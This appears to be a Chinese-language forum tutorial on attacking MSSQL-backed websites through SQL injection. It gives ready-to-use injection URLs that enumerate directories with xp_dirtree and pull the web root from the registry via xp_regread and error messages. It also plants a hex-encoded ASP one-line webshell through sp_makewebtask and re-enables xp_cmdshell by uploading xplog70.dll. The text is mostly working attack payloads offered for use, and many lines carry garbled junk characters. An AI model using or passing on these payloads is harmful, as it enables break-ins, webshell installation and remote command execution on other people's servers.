MSsqlL注入取得网站路径最好的方法

admin

好，我们exec master..xp_dirtree'd:/test'
: t. I3 m+ l1 |假设我们在test里有两个文件夹test1和test2在test1里又有test3
结果显示

' j" R* j& T1 H8 v& Rsubdirectory depth
test1 1
. k7 T! R$ Y3 ~: @$ Gtest3 2
& q) j% p/ x3 n; h! C+ ~: D! gtest2 1

1 ]- E2 j- [6 K: j3 F哈哈发现没有那个depth就是目录的级数
ok了，知道怎么办了吧
& ?( v$ f; i$ O- K/ ?0 L7 g$ P: N
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-

9 G. G- b0 f+ }% I7 r1 q3 X' |+ h0 N只要加上id＝1，就是第一级目录 。

, H5 n, ^6 w: l$ [! v8 L
2 u: D6 r) h/ T$ O. H5 [/ N0 q通过注册表读网站路径:
. z) M( f+ Q: E0 f1 C
1.;create table [dbo].[cyfd] ([gyfd][char](255));

2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
) F/ G# w/ r; c0 R' p4 jid=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--

/ E: z! d0 F( q- u3.and 1=(select count(*) from 临时表 where 临时字段名>1)
1 O1 t" T& ~) M4 a  [! |; @and 1=(select count(*) from cyfd where gyfd > 1)
这样IE报错,就把刚才插进去的Web路径的值报出来了

$ b' ^) D. v) ]+ `; g6 r- ^4.drop table cyfd;-- 删除临时表

3 Z6 Z* U+ u. E! |6 C获得webshell方法:
1.create table cmd (a image)-- \**cmd是创建的临时表
4 G# o5 b) x1 S4 Y2 h
4 x% e. P2 [" W; n2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
' _# ]4 `% r6 g) z" j
2 S+ l% C; U2 S) p
- L$ |: Y! M: r' [( _2 C: Z3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
( L) A7 g9 \! ]- V: }0 `4 u
4.drop table cmd;-- 删除cmd临时表

恢复xp_cmdshell方法之一:
) R. |8 {: t# B6 ~' R5 \5 E( h我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了，来吧，我们来给他恢复，提交：
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
恢复，支持绝对路径的恢复哦。：）